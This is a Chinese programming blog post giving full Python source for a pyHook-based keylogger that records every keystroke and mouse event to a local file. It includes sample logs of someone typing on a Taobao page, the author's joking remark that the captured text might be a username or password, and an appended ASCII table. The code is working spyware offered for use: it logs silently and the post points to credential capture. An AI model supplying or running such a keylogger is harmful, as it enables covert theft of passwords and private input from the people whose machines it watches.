Python:监控键盘输入、鼠标操作,并将捕获到的信息记录到文件中

来源:互联网 发布:苹果电脑编程软件 编辑:程序博客网 时间:2024/06/01 12:23
  使用pyhook模块可以很快地完成键盘及鼠标事件捕获,此模块可从http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/下载,API手册:http://pyhook.sourceforge.net/doc_1.5.0/,网站上提供了个使用的例子,改写了下,将信息记录到文件中,本来想使用python的logging模块,但测试时发现,因为鼠标事件频率太高,导致写时报I/O错误的异常,所以使用了自己写文件记录日志的方式。

代码:

#!/usr/bin/env python# -*- coding: utf-8 -*-import pythoncomimport pyHookimport timedef onMouseEvent(event):    "处理鼠标事件"    fobj.writelines('-' * 20 + 'MouseEvent Begin' + '-' * 20 + '\n')    fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime()))    fobj.writelines("MessageName:%s\n" % str(event.MessageName))    fobj.writelines("Message:%d\n" % event.Message)    fobj.writelines("Time_sec:%d\n" % event.Time)    fobj.writelines("Window:%s\n" % str(event.Window))    fobj.writelines("WindowName:%s\n" % str(event.WindowName))    fobj.writelines("Position:%s\n" % str(event.Position))    fobj.writelines('-' * 20 + 'MouseEvent End' + '-' * 20 + '\n')    return Truedef onKeyboardEvent(event):     "处理键盘事件"       fobj.writelines('-' * 20 + 'Keyboard Begin' + '-' * 20 + '\n')    fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime()))    fobj.writelines("MessageName:%s\n" % str(event.MessageName))    fobj.writelines("Message:%d\n" % event.Message)    fobj.writelines("Time:%d\n" % event.Time)    fobj.writelines("Window:%s\n" % str(event.Window))    fobj.writelines("WindowName:%s\n" % str(event.WindowName))    fobj.writelines("Ascii_code: %d\n" % event.Ascii)    fobj.writelines("Ascii_char:%s\n" % chr(event.Ascii))    fobj.writelines("Key:%s\n" % str(event.Key))    fobj.writelines('-' * 20 + 'Keyboard End' + '-' * 20 + '\n')    return Trueif __name__ == "__main__":     '''    Function:操作SQLITE3数据库函数    Input:NONE    Output: NONE    author: socrates    blog:http://blog.csdn.net/dyx1024    date:2012-03-1    '''              #打开日志文件    file_name = "D:\\hook_log.txt"    fobj = open(file_name,  'w')           #创建hook句柄    hm = pyHook.HookManager()    #监控键盘    hm.KeyDown = onKeyboardEvent    hm.HookKeyboard()    #监控鼠标    hm.MouseAll = onMouseEvent    hm.HookMouse()        #循环获取消息    pythoncom.PumpMessages()        #关闭日志文件    fobj.close() 


测试:
--------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:01MessageName:key downMessage:256Time:6376015Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 103Ascii_char:gKey:G--------------------Keyboard End----------------------------------------MouseEvent Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:01MessageName:mouse moveMessage:512Time_sec:6376078Window:132584WindowName:NonePosition:(724, 344)--------------------MouseEvent End----------------------------------------MouseEvent Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:01MessageName:mouse moveMessage:512Time_sec:6376109Window:132584WindowName:NonePosition:(724, 344)--------------------MouseEvent End----------------------------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:01MessageName:key downMessage:256Time:6376625Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 111Ascii_char:oKey:O--------------------Keyboard End----------------------------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:02MessageName:key downMessage:256Time:6376781Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 111Ascii_char:oKey:O--------------------Keyboard End----------------------------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:02MessageName:key downMessage:256Time:6377000Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 103Ascii_char:gKey:G--------------------Keyboard End----------------------------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:02MessageName:key downMessage:256Time:6377140Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 108Ascii_char:lKey:L--------------------Keyboard End----------------------------------------Keyboard Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:02MessageName:key downMessage:256Time:6377187Window:66926WindowName:淘宝网 - 淘我喜欢! - Windows Internet ExplorerAscii_code: 101Ascii_char:eKey:E--------------------Keyboard End----------------------------------------MouseEvent Begin--------------------Current Time:Thu, 01 Mar 2012 15:07:07MessageName:mouse moveMessage:512Time_sec:6382093Window:132584WindowName:NonePosition:(725, 344)--------------------MouseEvent End--------------------


 由上面的记录可以看出,当时我通过IE上淘宝,并且输入了google这个单词,有可能这是商品名,用户名,或者密码,呵呵。
查看Ascii_char字段即可看出输入的字母。如果没有解析出来,可通过Ascii_code字段的值到ASCII表中查找即可。

附:

ASCII(American Standard Code for Information Interchange,美国信息互换标准代码,ASCⅡ)是基于拉丁字母的一套电脑编码系统。它主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。

  ASCII第一次以规范标准的型态发表是在1967年,最后一次更新则是在1986年,至今为止共定义了128个字符,其中33个字符无法显示(这是以现今操作系统为依归,但在DOS模式下可显示出一些诸如笑脸、扑克牌花式等8-bit符号),且这33个字符多数都已是陈废的控制字符,控制字符的用途主要是用来操控已经处理过的文字,在33个字符之外的是95个可显示的字符,包含用键盘敲下空白键所产生的空白字符也算1个可显示字符(显示为空白)。


ASCII控制字符

二进制十进制十六进制缩写可以显示的表示法名称/意义0000 0000000NUL␀空字符(Null)0000 0001101SOH␁标题开始0000 0010202STX␂本文开始0000 0011303ETX␃本文结束0000 0100404EOT␄传输结束0000 0101505ENQ␅请求0000 0110606ACK␆确认回应0000 0111707BEL␇响铃0000 1000808BS␈退格0000 1001909HT␉水平定位符号0000 1010100ALF␊换行键0000 1011110BVT␋垂直定位符号0000 1100120CFF␌换页键0000 1101130DCR␍归位键0000 1110140ESO␎取消变换(Shift out)0000 1111150FSI␏启用变换(Shift in)0001 00001610DLE␐跳出数据通讯0001 00011711DC1␑设备控制一(XON 启用软件速度控制)0001 00101812DC2␒设备控制二0001 00111913DC3␓设备控制三(XOFF 停用软件速度控制)0001 01002014DC4␔设备控制四0001 01012115NAK␕确认失败回应0001 01102216SYN␖同步用暂停0001 01112317ETB␗区块传输结束0001 10002418CAN␘取消0001 10012519EM␙连接介质中断0001 1010261ASUB␚替换0001 1011271BESC␛跳出0001 1100281CFS␜文件分割符0001 1101291DGS␝组群分隔符0001 1110301ERS␞记录分隔符0001 1111311FUS␟单元分隔符0111 11111277FDEL␡删除

ASCII可显示字符

二进制十进制十六进制图形0010 00003220(空格)(␠)0010 00013321!0010 00103422"0010 00113523#0010 01003624$0010 01013725 %0010 01103826&0010 01113927'0010 10004028(0010 10014129)0010 1010422A*0010 1011432B+0010 1100442C,0010 1101452D-0010 1110462E.0010 1111472F/0011 0000483000011 0001493110011 0010503220011 0011513330011 0100523440011 0101533550011 0110543660011 0111553770011 1000563880011 1001573990011 1010583A:0011 1011593B;0011 1100603C<0011 1101613D=0011 1110623E>0011 1111633F? 二进制十进制十六进制图形0100 00006440@0100 00016541A0100 00106642B0100 00116743C0100 01006844D0100 01016945E0100 01107046F0100 01117147G0100 10007248H0100 10017349I0100 1010744AJ0100 1011754BK0100 1100764CL0100 1101774DM0100 1110784EN0100 1111794FO0101 00008050P0101 00018151Q0101 00108252R0101 00118353S0101 01008454T0101 01018555U0101 01108656V0101 01118757W0101 10008858X0101 10018959Y0101 1010905AZ0101 1011915B[0101 1100925C\0101 1101935D]0101 1110945E^0101 1111955F_ 二进制十进制十六进制图形0110 00009660`0110 00019761a0110 00109862b0110 00119963c0110 010010064d0110 010110165e0110 011010266f0110 011110367g0110 100010468h0110 100110569i0110 10101066Aj0110 10111076Bk0110 11001086Cl0110 11011096Dm0110 11101106En0110 11111116Fo0111 000011270p0111 000111371q0111 001011472r0111 001111573s0111 010011674t0111 010111775u0111 011011876v0111 011111977w0111 100012078x0111 100112179y0111 10101227Az0111 10111237B{0111 11001247C|0111 11011257D}0111 11101267E~
原创粉丝点击